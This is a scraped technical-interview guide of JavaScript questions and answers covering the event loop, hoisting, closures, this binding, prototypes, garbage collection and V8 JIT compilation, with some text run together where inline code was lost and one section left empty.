Documentation Index
Fetch the complete documentation index at: https://resources.devweekends.com/llms.txt
Use this file to discover all available pages before exploring further.
JavaScript Interview Questions (100 Deep Dive Q&A)
let/const, understands closures and the event loop, writes clean async/await, knows when to use Map over plain objects, and can debug memory leaks with DevTools. They produce correct, readable, well-tested code and can mentor others on best practices.
A staff engineer defines JavaScript architecture standards and toolchain choices across teams: they decide the module system strategy (ESM migration path), set bundler configuration and tree-shaking policies, establish performance budgets (main-thread blocking thresholds, bundle size limits), define the error-handling contract for async boundaries, choose between Web Workers and SharedArrayBuffer for compute-heavy features, evaluate when to introduce WebAssembly, architect the caching layer (Service Worker strategies, WeakRef-based caches), and write the ADRs that justify these decisions. When a staff candidate answers a question about closures, they also mention how closure-heavy patterns affect V8 hidden classes in hot paths. When they discuss the event loop, they connect it to real user-facing metrics (INP, TBT) and explain how scheduler.yield() or scheduler.postTask() improves responsiveness.1. Core Engine & Internals (V8)
1. The Event Loop (Visualized)
1. The Event Loop (Visualized)
- Call Stack — The single thread of execution. Functions push frames on, return pops them off. If this is blocked, your entire UI freezes — that is why you never put a 2-second synchronous computation on the main thread.
- Web APIs / Node APIs — These are the browser’s C++ threads (not JS). When you call
setTimeout,fetch, or add a DOM event listener, the browser handles the waiting in a separate thread. JS just registers the callback and moves on. - Macrotask Queue (Task Queue) —
setTimeout,setInterval,setImmediate(Node), I/O callbacks, UI rendering events. One macrotask is processed per event loop iteration. - Microtask Queue —
Promise.then/catch/finally,queueMicrotask(),MutationObserver. Always drains completely before the next macrotask or render. This is the critical detail most candidates miss.
- Execute all synchronous code (call stack drains)
- Drain the entire microtask queue (including microtasks spawned by microtasks)
- Run one macrotask
- Drain microtask queue again
- Render (if needed — browser may skip if nothing changed, typically targets 60fps / 16.6ms)
- Repeat
.then() chains — for example, a state update from a resolved promise wouldn’t be visible before the next render, causing UI flicker.Production scenario: At a company processing real-time stock quotes via WebSocket, we saw UI freezes because each incoming message spawned 15+ .then() chains. The microtask queue was draining hundreds of microtasks between every single render frame. The fix was batching updates with requestAnimationFrame and reducing promise chain depth.What interviewers are really testing: Whether you understand the priority ordering of queues, can predict execution order of mixed async code, and grasp that microtasks can starve macrotasks. Senior candidates should mention the render step and explain real starvation scenarios.Red flag answer: “setTimeout with 0ms runs immediately after the current code” — this misses the entire microtask queue concept. Also: confusing Node.js process.nextTick (which runs before promise microtasks) with browser microtasks.Follow-up questions:- “What happens if a microtask schedules another microtask? Does the event loop move on?” — No. The microtask queue drains completely, including newly added microtasks. This is exactly how microtask starvation happens. If microtask A schedules microtask B which schedules microtask C, all three run before any macrotask or render.
- “How does
requestAnimationFramefit into this model?” — rAF callbacks run right before the browser paints, after macrotasks and microtask draining. They are not in either queue — they are in a separate animation frame callback list. This makes rAF ideal for visual updates because you are guaranteed the browser will paint right after. - “How does Node.js differ from the browser event loop?” — Node uses libuv with multiple phases: timers, pending callbacks, idle/prepare, poll, check (
setImmediate), close callbacks.process.nextTickruns between phases and has higher priority than even promise microtasks. In the browser, there is noprocess.nextTickandsetImmediateonly exists in IE/Edge legacy.
- “The event loop just runs callbacks when they’re ready.”
- Cannot distinguish microtasks from macrotasks or predict output order of mixed async code.
- Think
setTimeout(fn, 0)runs immediately after the current line. - Have never heard of microtask starvation or the render step in the loop cycle.
- Draw the full loop cycle (sync -> microtask drain -> one macrotask -> microtask drain -> render) without prompting.
- Immediately mention that microtask starvation blocks rendering and give a real scenario where they diagnosed it.
- Explain
requestAnimationFrameplacement in the cycle and why it is distinct from both queues. - Connect event loop behavior to real user-facing metrics: “Microtask starvation directly impacts Interaction to Next Paint (INP) because the browser cannot paint until the microtask queue drains.”
- Know that
scheduler.postTask()andscheduler.yield()(Scheduler API) give you priority-aware scheduling beyond the basic queue model.
- “You mentioned microtask starvation. Can you show me code that starves macrotasks but does NOT create an infinite loop?” — Yes: a promise chain that recursively schedules 10,000 microtasks. Each one does a small amount of work and schedules the next. The macrotask queue and rendering are starved for the entire duration, but the loop eventually finishes.
- “Now suppose that starved rendering causes a dropped frame. How does the browser decide when to render?” — The browser targets ~16.6ms per frame (60fps). After draining the microtask queue, it checks if a frame is “due.” If the time since the last paint exceeds the frame budget, it runs style/layout/paint. But if microtasks take 50ms, that frame is lost — there is no retroactive catch-up. The browser may also skip frames if nothing visually changed (
requestAnimationFramecallbacks do not fire if the tab is hidden). - “How does the new Scheduler API (
scheduler.postTask) change this picture?” —scheduler.postTask()lets you assign priority ('user-blocking','user-visible','background') to tasks. User-blocking tasks run before user-visible tasks, which run before background tasks. This gives you more granularity than the binary microtask/macrotask model. Combined withscheduler.yield(), you can break long tasks into chunks that yield to the browser for rendering between chunks — directly improving INP. - “How would you refactor a 200ms synchronous computation to avoid blocking the main thread?” — Three approaches: (a) Move it to a Web Worker (
postMessagethe data, get the result back). (b) Time-slice it withscheduler.yield()orsetTimeout(0)between chunks. (c) UserequestIdleCallbackfor non-urgent work. The choice depends on whether you need DOM access (rules out Workers) and whether the result is needed immediately (rules outrequestIdleCallback).
- Senior: Can trace execution order of mixed micro/macrotasks, knows
rAFfires pre-paint, uses Web Workers when appropriate. - Staff: Thinks about the event loop in terms of user-facing metrics (INP, LCP, TBT), designs app-wide scheduling strategy (Scheduler API priority conventions), adds long-task detection via
PerformanceObserver, uses RUM to catch microtask starvation in the wild, and makes framework choices (React Concurrent Mode, Suspense) with the event loop in mind. Also owns the “why is our app janky” investigation playbook.
- Step 1: Chrome DevTools Performance tab -> record the interaction. Look for long tasks (red triangles) on the main thread.
- Step 2: Expand the long task. Common culprits: synchronous JSON.parse of a huge payload, a nested loop iterating over a large array, synchronous render of a huge component tree.
- Step 3: Fix options in order of effort: (a) time-slice with
scheduler.yield()every 5ms, (b) move compute to a Web Worker, (c) virtualize the list if it’s a render issue, (d) stream-parse the JSON with a library that yields. - Step 4: Add
PerformanceObserverforlongtaskentries, report to RUM, and alert if p95 long-task duration > 200ms. - Step 5: Guardrail: lint rule that flags large synchronous parse/loop patterns in hot paths.
setTimeout(fn, 0) does not run immediately.Promise.then always runs before the next setTimeout.requestAnimationFrame tick instead of letting each edit trigger its own microtask chain. Before that change, a fast typist on a shared document could starve the render step for 100ms+ at a time, producing the classic “cursor lag” complaint.Follow-up Q&A Chain:- Q: Why does
queueMicrotask(fn)run before asetTimeout(fn, 0)scheduled earlier? - A: Scheduling order doesn’t matter across queues. The spec says drain microtasks to empty before pulling the next macrotask, so
queueMicrotaskalways jumps the timer line. - Q: What’s the difference between
process.nextTickandqueueMicrotaskin Node? - A:
process.nextTickcallbacks run before the Promise microtask queue inside the same phase. Abusing it causes starvation that even Promises can’t break through. - Q: How does
scheduler.yield()help with INP? - A: It returns a Promise that resolves after the browser gets a chance to paint, so you can
await scheduler.yield()mid-loop to cooperatively yield without losing your place in the function.
- MDN: Using microtasks in JavaScript with queueMicrotask()
- web.dev: Optimize Interaction to Next Paint
- HTML Spec: Event loops
2. Execution Context & Hoisting
2. Execution Context & Hoisting
this. There are two phases, and understanding them explains every hoisting question you will ever see.Phase 1 — Creation (before any code runs):- The engine scans the code and allocates memory
vardeclarations are initialized toundefined(this is “hoisting”)functiondeclarations are stored fully in memory — you can call them before the declaration linelet/constare acknowledged but NOT initialized — they enter the Temporal Dead Zone (TDZ). Accessing them throwsReferenceErrorthisbinding is determined- The outer environment reference (scope chain) is established
- Code runs line by line
- Assignments happen (
var a = 5— the= 5part happens here, not in creation) - Function expressions are assigned (unlike declarations, they are NOT hoisted)
- Global EC — created when the script first loads. In browsers,
this=window. In Node,this=module.exports(notglobal). - Function EC — created on every function invocation. Each call gets its own context even for the same function.
- Eval EC — created inside
eval(). Avoideval()entirely in production.
var to let/const, we saw 40+ runtime crashes in staging because code was relying on hoisting behavior — functions referenced variables declared later in the file. var silently returned undefined; let threw ReferenceError. The lesson: hoisting is not just a trivia question, it is a real migration risk.What interviewers are really testing: Do you understand the two-phase model, or do you just memorize “var is hoisted, let is not”? The nuance is that let IS hoisted (the engine knows about it) but is NOT initialized — that is the TDZ distinction. Candidates who say “let is not hoisted” are technically wrong.Red flag answer: “Hoisting moves declarations to the top of the file.” Nothing is physically moved. The engine just allocates memory in the creation phase before execution begins. Also: not knowing that function expressions behave differently from function declarations.Follow-up questions:- “Is
lethoisted or not?” — Yes,letis hoisted — the engine knows about the variable during the creation phase. But unlikevar, it is not initialized toundefined. It stays in the TDZ until the declaration line executes. This is why you getReferenceErrorinstead ofundefined. The spec calls this “hoisted but not initialized.” - “What is the execution context stack and how does it relate to the call stack?” — They are the same thing. Each function call pushes a new execution context onto the stack. When the function returns, its context pops off. The currently running context is always on top. Closures work because even after a context pops, its variable environment can be referenced by inner functions.
- “Can you get a TDZ error with
constinside a default parameter?” — Yes, default parameters have their own scope.function foo(a = b, b = 1) {}throws ReferenceError becausebis in the TDZ whenatries to use it as a default. Parameters are evaluated left to right.
let/const declaration, during which touching the variable throws ReferenceError. Use the term any time someone asks “is let hoisted?” — the answer is yes, but it sits in the TDZ.var to let/const during a TypeScript rollout, automated codemods flipped declarations but missed a handful of places where helper functions were called before their let declaration executed. Those sites compiled fine but threw ReferenceError only at runtime under the specific order modules were loaded in production — a canonical TDZ-in-the-wild incident.Follow-up Q&A Chain:- Q: Why does
typeof undeclaredVarreturn"undefined"buttypeof letVarInTDZthrows? - A: Truly undeclared identifiers short-circuit
typeofto the string"undefined"for backward compatibility. Declared-but-TDZ bindings are known to the engine, and the spec explicitly requires a ReferenceError when they’re touched. - Q: Are class declarations hoisted?
- A: Classes are hoisted the same way
letis — the binding exists from the top of the scope but is uninitialized, sonew Foo()before the class body throws ReferenceError. - Q: Can two
vardeclarations in the same scope collide? - A: They silently merge —
var x = 1; var x = 2;is legal.letorconstin the same scope throws SyntaxError at parse time, which is what you want.
- MDN: Hoisting
- MDN: Temporal Dead Zone
- ECMAScript Spec: Declarative Environment Records
3. Closure Scope Chain
3. Closure Scope Chain
[[Environment]] property that points to the lexical environment (variable environment) of the outer scope. Even after the outer function returns and its execution context pops off the call stack, that variable environment stays alive in memory because the inner function still references it.The scope chain: When a variable is accessed, the engine walks up: Local Scope -> Outer Function Scope -> … -> Global Scope. This chain is fixed at function creation time (lexical scoping), not at call time.- Data privacy / encapsulation (Module pattern, before ES modules)
- Currying and partial application (
const add5 = add(5)) - Factory functions (React hooks like
useStateuse closures internally) - Event handlers that need access to setup-time state
- Memoization (cache lives in the closure)
let fixes it? Senior candidates should mention the performance implications and real debugging stories.Red flag answer: “A closure is a function inside a function.” That is the syntax for creating one, not what a closure is. Also: not knowing that closures capture references (failing the var loop question).Follow-up questions:- “How would you debug a memory leak caused by closures in production?” — Chrome DevTools Heap Snapshots. Take a snapshot, trigger the suspected leak (e.g., navigate to a page and back in an SPA), take another snapshot, then compare “Objects allocated between snapshots.” Look for
(closure)entries that should have been GC’d. The “Retainers” panel shows you exactly which closure is holding what. In Node.js, use--inspectflag and connect Chrome DevTools, or useheapdumpnpm package to take snapshots programmatically. - “Do closures affect performance? When should you avoid them?” — Closures themselves are cheap — the engine optimizes them well. The performance concern is memory: if a closure captures a large object it does not need, that object stays alive. In hot loops creating thousands of closures per second (e.g., array
.map()on large datasets), the GC pressure from short-lived closures can cause jank. In React, creating closures in render is fine for most cases — theuseCallbackoptimization only matters when the closure is passed to memoized children. - “Explain how React hooks depend on closures, and what the ‘stale closure’ bug is.” — Every time a React component renders, the function body runs fresh, creating new closures over the current state values. The stale closure bug happens when a
useEffector event handler captures a state value from an earlier render and never gets updated. Classic example: asetIntervalinsideuseEffectthat captures the initialcountvalue. Each tick logs the same stale value. Fix: use a ref (useRef) to always point to the latest value, or use the functional form ofsetState(e.g.,setCount(prev => prev + 1)).
- “A closure is when you define a function inside another function.”
- Cannot explain why the
varloop problem occurs or whyletfixes it. - Think closures “copy” variables rather than capturing references.
- Cannot identify closure-related memory leaks in a code snippet.
- Immediately distinguish reference capture vs value capture and give the
varloop example unprompted. - Explain the
[[Environment]]internal slot and how the scope chain is fixed at creation time (lexical scoping). - Describe a real production memory leak they found via closures — with the tool they used (Chrome Heap Snapshot,
--inspecton Node) and the fix (capturing only needed values, not the entire outer scope). - Connect closures to React’s stale closure bug and explain both the ref pattern and the functional setState pattern as fixes.
- Know that V8 can optimize closures by only retaining variables actually referenced by the inner function (dead variable elimination), but that
evalinside the inner function defeats this optimization entirely.
- “If closures capture references, how does V8 decide which variables to keep alive in the closure?” — V8 performs static analysis during parsing. If the inner function references
xbut noty, V8 creates a “context object” containing onlyx. The variableycan be garbage collected even though it was in the same outer scope. However, if the inner function useseval(), V8 must keep ALL variables alive becauseevalcould reference any of them at runtime. - “You mentioned closures retain the entire outer scope in some cases. Can you give me an example where this causes a non-obvious memory leak?” — A common pattern: an event handler closure that captures a reference to a large DOM element or data array it does not actually use. For example,
function setup() { const hugeData = fetchData(); const id = hugeData.id; element.onclick = () => console.log(id); }— in some engines,hugeDatais retained because the closure’s context object includes the entire scope, not justid. The fix is to null out large references after extracting what you need:hugeData = null. - “How do closures interact with the module pattern and ES modules?” — The module pattern (IIFE returning an object) uses closures for encapsulation — private variables live in the IIFE’s scope and are accessible only through the returned methods. ES modules achieve the same effect differently: each module has its own scope, and only exported bindings are accessible. The key difference is that ES module exports are live bindings (the importer sees updates), while closure-based module pattern exports are snapshots unless you expose getter functions.
useEffect(..., []) would capture the initial state forever, so a notification badge stopped updating after the first render. The team’s fix guidance (use refs or the functional setState(prev => ...)) is essentially a closure-escape hatch.Follow-up Q&A Chain:- Q: Can a closure cause a memory leak if the inner function is never called?
- A: Yes — as long as a reference to the inner function is reachable (stored in an array, attached to a DOM node, held by a timer), the captured scope stays alive even if the function is never invoked.
- Q: Does
evaldefeat closure optimizations? - A: Yes. V8 normally keeps only variables the inner function actually references, but
evalcould refer to any outer variable at runtime, so the engine conservatively keeps the whole scope alive. - Q: How is a closure different from a class instance?
- A: Both give you encapsulated state with methods, but classes expose structure via the prototype (shared methods,
instanceofchecks), while closures expose only what the returned object/function deliberately surfaces. Closures win on true privacy; classes win on introspection and inheritance.
- MDN: Closures
- V8 blog: Background compilation
- ECMAScript Spec: Function Environment Records
4. `this` Binding Rules
4. `this` Binding Rules
this in JavaScript is not determined by where a function is defined — it is determined by how the function is called. This is the single most confusing concept for developers coming from class-based languages like Java or C#. There are exactly four rules, applied in priority order.The Four Rules (highest to lowest priority):newBinding —new Constructor(). A fresh empty object is created,thispoints to it, and it is returned implicitly. This is how constructor functions and classes work.- Explicit Binding —
fn.call(obj),fn.apply(obj),fn.bind(obj). You manually specify whatthisshould be.bindreturns a new permanently bound function;call/applyinvoke immediately. - Implicit Binding —
obj.method(). The object left of the dot at call time becomesthis. This is the most common and the most easily broken rule. - Default Binding —
fn()with no context.this=windowin browsers (sloppy mode) orundefined(strict mode). This is the “fallback” and the #1 source ofthis-related bugs.
this binding of their own. They lexically inherit this from the enclosing execution context at creation time. You cannot override it with call, apply, or bind. This is by design — it makes them ideal for callbacks.this bug in production:call vs apply vs bind — when to use which:call(thisArg, arg1, arg2)— invoke immediately, pass args individually. Use when you know the exact args.apply(thisArg, [args])— invoke immediately, pass args as array. Classic use:Math.max.apply(null, numbers)(though spreadMath.max(...numbers)replaced this).bind(thisArg, arg1)— returns a NEW function withthispermanently set. Use for event handlers, callbacks, partial application. Has memory overhead (creates a new function object).
this in any code snippet? Do you understand why implicit binding breaks when passing methods as callbacks? Senior candidates should explain the arrow function trade-off (no this, no arguments, cannot be used as constructor) and when bind in constructor vs arrow class fields is preferred.Red flag answer: “I just always use arrow functions so I don’t have to think about this.” Arrow functions are not always appropriate — you cannot use them as methods on a prototype (they would capture the wrong this), as constructors, or in cases where you need dynamic this (like jQuery event handlers or Vue options API).Follow-up questions:- “Why can you not use arrow functions as constructors?” — Arrow functions have no
[[Construct]]internal method and noprototypeproperty.newrequires both. The engine will throwTypeError: X is not a constructor. This is a deliberate spec decision — since arrow functions capturethislexically, thenewbinding rule would conflict with the lexical binding. - “In React class components, what is the performance difference between binding in the constructor vs using arrow class fields?” — Arrow class fields create a new function per instance on the instance itself (not on the prototype). If you have 1000 instances, you have 1000 copies of that function.
bindin the constructor does the same thing. The real difference: arrow class fields are cleaner syntax but cannot be overridden in subclasses (they are own properties, not prototype methods). For React components you almost never subclass, so arrow fields win on readability. - “What does
thisrefer to inside asetTimeoutcallback, and how do you control it?” — In a regular function callback,thisdefaults towindow(browser, sloppy mode) orundefined(strict). In an arrow callback,thisis inherited from the enclosing scope. This is whysetTimeout(() => this.update(), 100)works inside a class method butsetTimeout(function() { this.update(); }, 100)does not. The arrow function closes over the method’sthis.
- “I always use arrow functions so I do not have to worry about
this.” This ignores cases where arrow functions are wrong (prototype methods, dynamicthiscontexts, constructors). - Cannot predict
thisin a code snippet involving method extraction (const fn = obj.method; fn()). - Think
bindchanges the original function rather than returning a new one.
- Recite the four rules in priority order without hesitation and correctly predict
thisin any snippet. - Explain that arrow functions have no
[[Construct]]internal method, which is whynew ArrowFn()throws. - Know that
newoverridesbind— the only case where a bound function’sthisis not respected. - Discuss the performance tradeoff: arrow class fields create a function per instance (own property), while prototype methods with
bindin the constructor do the same thing with different inheritance semantics. - Mention that in React, the move from class components to function components largely eliminated
thisconfusion, but it introduced the stale closure problem instead.
this refers to for a given call. Every interview discussion of this is really a discussion about binding rules.bind in the constructor for every click handler. When class property syntax became standard, the team migrated to arrow class fields (onClick = () => ...) because it eliminated an entire class of “undefined is not a function” bugs when a handler was passed down through props — the implicit binding was no longer at the mercy of the parent’s call site.Follow-up Q&A Chain:- Q: What is
thisinside a standalone module file at the top level? - A: In an ES module, top-level
thisisundefined. In a CommonJS module, top-levelthisismodule.exports. That difference surprises a lot of people migrating to ESM. - Q: Can you rebind an arrow function with
.call(otherThis)? - A: No — the
thisArgis silently ignored. Arrow functions don’t have their ownthisbinding slot, socall/apply/bindcan only affect the arguments, not the context. - Q: Why does
new boundFn()ignore the boundthis? - A:
newinstalls a fresh object asthisbefore the body runs, and the spec givesnewpriority overbind. The bound arguments still apply, but the boundthisis discarded.
- MDN: this
- MDN: Function.prototype.bind()
- You Don’t Know JS: this & Object Prototypes
5. Prototype Chain vs Class
5. Prototype Chain vs Class
null. The class keyword (ES6) is syntactic sugar over this prototype mechanism. Under the hood, class Dog extends Animal does exactly what Object.create(Animal.prototype) does — it just looks cleaner.How the chain actually works:- Every object has an internal
[[Prototype]]slot (accessible via__proto__orObject.getPrototypeOf()) - When you do
obj.prop, the engine checks: own property? If no, checkobj.__proto__. If no, checkobj.__proto__.__proto__. Continue untilnull. - This is delegation, not copying — the method lives on the prototype, not on each instance. 1000 Dog instances share ONE
barkfunction onDog.prototype.
class adds that constructor functions do not:super()calls (cleaner thanParent.call(this))staticmethods (on the constructor, not the prototype)- Private fields (
#field) — true encapsulation, not convention extendsworks with built-ins (class MyArray extends Arrayactually works correctly, unlike the constructor function approach which breaks array length behavior)
- Property lookup through 2-3 prototype levels is effectively free — V8 uses inline caches that short-circuit the chain after the first access
- Deep chains (5+ levels) can cause polymorphic/megamorphic inline cache misses, slowing access by 5-10x
hasOwnProperty()is the way to check if a property is directly on the object vs inherited. In modern code, useObject.hasOwn(obj, prop)(ES2022) which does not have the gotcha of being overridable
class is sugar, not a new paradigm? Can you draw the prototype chain for a given set of objects? Senior candidates should explain the delegation vs copying distinction and know when prototypal inheritance causes issues (e.g., shared mutable state on the prototype).Red flag answer: “JavaScript has classes just like Java.” This shows a fundamental misunderstanding. Also: using __proto__ in production code (it is a legacy accessor, not a standard API — use Object.getPrototypeOf/Object.setPrototypeOf).Follow-up questions:- “What happens if you put a mutable value (like an array) on the prototype?” — Every instance shares the SAME array.
Animal.prototype.friends = []meansdog1.friends.push('Rex')affectsdog2.friendstoo. This is the classic shared state bug. Instance-specific data must go in the constructor viathis.friends = []. This is one of the main reasons constructor functions (and classes) exist — to initialize per-instance state. - “How does
instanceofwork internally?” — It walks the prototype chain of the left operand and checks ifConstructor.prototypeappears anywhere.dog instanceof Animalis true becauseAnimal.prototypeis in dog’s chain. This means you can foolinstanceofby reassigning prototypes after object creation.Symbol.hasInstancelets you customize this behavior. - “When would you choose composition over prototypal inheritance?” — When you need flexible combinations of behaviors. Inheritance gives you one chain; composition lets you mix. In practice, favor composition for business logic (mixins, higher-order functions, strategy pattern) and use classes/inheritance for framework-level concerns (extending React.Component, Error subclasses). Deep inheritance hierarchies (>2 levels) become brittle — the “fragile base class” problem.
- Q: What’s the difference between
Object.create(proto)andnew F()? - A:
Object.create(proto)directly sets the new object’s prototype toprotowith no constructor run.new F()creates an object whose prototype isF.prototypeand executesFas a constructor with the new object asthis. - Q: Why did
class extends Arraywork in ES6 butfunction MyArray() {}with prototype tricks didn’t? - A: Built-ins like Array rely on a special internal slot set during construction. Only
super()viaclass extendstriggers the correct construction path, so.lengthand index behavior work. Constructor-function inheritance skips that path and produces a broken subclass. - Q: How do static methods fit into the chain?
- A: They live on the constructor function itself, not on
.prototype. The static chain usesObject.getPrototypeOf(Subclass) === Superclass, separate from the instance chain via.prototype.
- MDN: Inheritance and the prototype chain
- V8 blog: Fast properties in V8
- ECMAScript Spec: Ordinary Object Internal Methods
6. Garbage Collection (Mark and Sweep)
6. Garbage Collection (Mark and Sweep)
malloc/free like in C. The garbage collector (GC) periodically finds objects that are no longer reachable from the program and frees their memory. V8 uses a generational, mark-and-sweep collector with two main spaces.How Mark-and-Sweep works:- Roots — Starting points: the global object (
window/global), the current call stack, and active closures - Mark phase — Walk from all roots, following every reference. Every reachable object gets “marked” as alive
- Sweep phase — Scan the entire heap. Any object NOT marked is unreachable — deallocate its memory
- Compact (optional) — Move surviving objects together to reduce fragmentation
- Young Generation (Scavenger) — Small space (~1-8MB). New objects go here. Collected very frequently (every few ms). Uses a semi-space copying algorithm: split into “from” and “to” spaces, copy survivors to “to” space, swap. Most objects die young — this is fast.
- Old Generation (Major GC) — Large space. Objects that survive two scavenge cycles get promoted here. Collected less frequently using mark-sweep-compact. This is the one that causes noticeable pauses.
- Incremental Marking — V8 does not stop-the-world for the entire mark phase. It marks incrementally between JS execution slices (~5ms chunks) to avoid long pauses.
- Accidental globals — Forgetting
let/const, sox = 5createswindow.x. Stays forever. Strict mode prevents this. - Forgotten timers —
setIntervalcallbacks hold closures alive. If you navigate away in an SPA without callingclearInterval, the callback and everything it closes over stays in memory. - Closures retaining large objects — A closure that only needs a small value but accidentally captures a reference to a 50MB array.
- Detached DOM nodes — You remove an element from the DOM but still hold a JS reference to it (in a variable or Map). The node and all its children stay in memory.
- Event listeners not removed — Adding
addEventListenerin a component mount withoutremoveEventListeneron unmount. Each navigation adds more listeners.
- “How would you identify a memory leak in a Node.js service that slowly consumes more RSS over 48 hours?” — Use
process.memoryUsage()to track heap growth over time. Enable--inspectand take heap snapshots remotely with Chrome DevTools. Compare two snapshots taken hours apart — look for object types with growing instance counts. Common Node.js leaks: unclosed database connections, growing caches without eviction (use LRU), and streams not properly destroyed. For production, tools like Datadog orclinic.jscan track heap trends. - “What is the difference between
WeakRefandWeakMapfor memory management?” —WeakMapholds weak references to keys — if nothing else references the key object, both the key and value get GC’d.WeakRef(ES2021) gives you a weak reference to a single object —deref()returns the object orundefinedif it was collected.WeakRefis lower-level;WeakMapis the right choice 95% of the time.FinalizationRegistrypairs withWeakRefto run cleanup callbacks after GC. - “Why does
delete obj.prophurt performance even though it frees memory?” —deletechanges the object’s hidden class (shape) in V8. This makes the object transition to a slower “dictionary mode” for property lookups. It is almost always better to set the property tonullorundefinedinstead of deleting it — you free the value’s memory without changing the shape.
- “JavaScript handles memory automatically so you do not need to worry about leaks.”
- Cannot name more than one or two leak patterns.
- Have never used Chrome DevTools Memory tab or taken a Heap Snapshot.
- Think garbage collection is free and has no performance impact.
- List all five leak patterns unprompted and give a real example for each.
- Describe a specific memory leak they diagnosed in production, including the tool chain (Heap Snapshots, allocation timeline, retainer graph).
- Explain V8’s generational GC: young generation (Scavenger, semi-space copying, ~1-8MB, frequent) vs old generation (mark-sweep-compact, larger, incremental marking to avoid long pauses).
- Know that
WeakRefandFinalizationRegistryexist but understand their non-deterministic nature and appropriate use cases (cache cleanup, not critical resource release). - Mention that
structuredClone,postMessage, andJSON.parseall allocate new objects, contributing GC pressure in hot paths.
- Senior: Can identify a leak via Chrome DevTools, name the five leak patterns, and fix a specific instance.
- Staff: Builds systemic prevention — lint rules (
react-hooks/exhaustive-deps, customno-unclean-listeners), automated memory regression tests in CI that compare heap size across builds, component-level memory budgets, patterns library (useEffectcleanup templates,AbortControllerfor fetch cancellation), and an RCA template for memory incidents. Also thinks about the production observability layer: RUM heap metrics viaperformance.memory, client-side sampling, and linking frontend memory spikes to user journey.
- Step 1: Reproduce deterministically. Record the user journey; identify the action that triggers growth.
- Step 2: Open DevTools Memory -> Allocation Timeline. Record while performing the action 10 times. Look for a sawtooth (normal, GC working) vs monotonic growth (leak).
- Step 3: Take Heap Snapshot baseline. Perform action 50 times. Take a second snapshot. Compare -> “Objects allocated between snapshots” -> sort by Retained Size.
- Step 4: The top retainer is usually the culprit. Common findings: detached DOM nodes (you removed a component but a listener still holds it), growing Map used as cache, closures capturing large props.
- Step 5: Fix options by frequency: (a) move from
addEventListenerwithout cleanup touseEffectwith cleanup function, (b) replace Map cache with an LRU or WeakMap, (c) useAbortControllerfor fetch to cancel pending requests on unmount, (d) destructure props in closures instead of closing over the whole object. - Step 6: Guardrail: add a Playwright test that repeats the action N times and asserts
performance.memory.usedJSHeapSizeis under a threshold.
- “Your leak only happens in Safari, not Chrome. What’s different?” — Different GC heuristics and timing, different WebKit memory accounting.
WeakReftiming is non-deterministic and varies by engine. CheckFinalizationRegistrycallbacks that may not fire in Safari as expected. Also Safari caps idle tab memory more aggressively, which can mask issues in Chrome. - “The leak disappears when you disable the React dev tools extension. What’s happening?” — React DevTools holds references to all component instances for debugging. In production-mode builds, this should not happen. You may be measuring a ‘dev-only’ leak; ship production build and re-measure.
- “What’s the cost of
WeakMap/WeakRefvs regularMap/Ref?” — WeakMap entries cost slightly more memory overhead per entry (GC bookkeeping), but pay off by auto-clearing.WeakRefis even lighter but gives no strong guarantee the ref is alive between calls. For caches of medium lifetime, a size-bounded LRU Map is often simpler than weak references.
document but never removed. After 100 opens, a tab would cross 1GB. The fix was to route every shortcut through a single dispatcher that hard-owns the listener lifecycle — a systemic pattern, not a per-component patch.Follow-up Q&A Chain:- Q: Does V8 ever free memory back to the OS?
- A: Rarely and conservatively. After major GCs it may return large uncommitted pages, but long-lived processes usually hold their peak RSS, which is why Node services need restart policies.
- Q: Why doesn’t forcing
global.gc()solve leaks? - A:
gc()only runs if the leak is already unreachable. If something is still reachable via a retainer, no amount of GC pressure frees it — that’s the definition of a leak. - Q: When is
WeakRefthe right answer vsWeakMap? - A:
WeakMapfor “I have a key object and want associated data to die with it.”WeakReffor “I want to observe an object without preventing its collection” — typically in caches where you want the cache entry to disappear if nothing else holds the value.
- V8 blog: Concurrent marking in V8
- MDN: Memory management
- web.dev: Fixing memory issues
7. V8 Hidden Classes (Optimization)
7. V8 Hidden Classes (Optimization)
8. JIT Compilation (Hot & Cold)
8. JIT Compilation (Hot & Cold)
- Parser — Turns source into an AST. V8 does lazy parsing — it only fully parses functions when they are actually called, not when they are defined. This speeds up initial load for large codebases.
- Ignition (Interpreter) — Compiles the AST into compact bytecode and executes it. This is “cold” code. While executing, Ignition collects type feedback: “this function always receives integers,” “this property access always sees objects with hidden class HC7.”
- Sparkplug (Baseline Compiler) — A fast, non-optimizing compiler that turns bytecode into machine code without expensive optimizations. Fills the gap between Ignition and TurboFan. Added in V8 9.1 (2021). Reduces the “interpreter is slow but TurboFan hasn’t kicked in yet” phase.
- TurboFan (Optimizing Compiler) — Takes “hot” functions (called hundreds/thousands of times) and compiles them into highly optimized machine code using the type feedback from Ignition. Makes speculative assumptions: “this
+always adds two SMIs (small integers), so I’ll emit a single x86 ADD instruction instead of a type-checking branching sequence.” - Deoptimization — If a speculative assumption breaks (e.g., you pass a string to a function TurboFan assumed only receives numbers), the optimized code is thrown away and execution falls back to Ignition bytecode. This is expensive — the stack frame must be reconstructed.
- Keep function arguments consistent types — Do not call
add(1, 2)thenadd("a", "b")in the same hot path - Avoid changing object shapes (see Hidden Classes question)
- Do not mix integers and floats — V8 uses SMI (Small Integer) representation for 31-bit integers, heap numbers for everything else.
arr[0] = 1thenarr[0] = 1.5transitions the entire array to double storage. - Avoid
argumentsobject — It prevents several TurboFan optimizations. Use rest parameters (...args) instead. - Avoid
evalandwith— They prevent any optimization of the containing function. - Avoid try/catch in hot loops — V8 has improved this, but historically the entire function containing try/catch was deoptimized. In modern V8, the cost is minimal but the catch block itself is always cold.
eval is just “bad practice” without knowing it literally prevents optimization.Follow-up questions:- “How would you measure whether TurboFan has optimized a specific function?” — Run Node.js with
--trace-opt --trace-deopt --trace-ic. Look for[optimizing]and[completed optimizing]log lines for your function.--trace-deoptshows you exactly which assumption broke and why. In Chrome, the Performance panel’s “Bottom Up” view shows functions by total time — unoptimized functions have disproportionately high self-time relative to their complexity. - “What is the SMI optimization and why does it matter?” — SMI (Small Integer) is V8’s fast integer representation: a 31-bit integer stored directly in the pointer (tagged, with the low bit set to 0 to distinguish from heap pointers). SMI arithmetic skips heap allocation entirely — no GC pressure. As soon as a number exceeds 2^30-1 or becomes a float, V8 promotes it to a HeapNumber (boxed double), which requires allocation. This is why integer-only array operations are faster than mixed int/float.
- “Why is
argumentsbad for optimization, and what exactly does rest (...args) do differently?” — Theargumentsobject is “magical”: it aliases named parameters (changingarguments[0]changes the named param in sloppy mode), it is not a real array, and it prevents TurboFan from analyzing the function’s parameter flow. Rest parameters create a standard Array with no aliasing, allowing full optimization. In practice, this means a function usingargumentscan be 3-5x slower in hot paths.
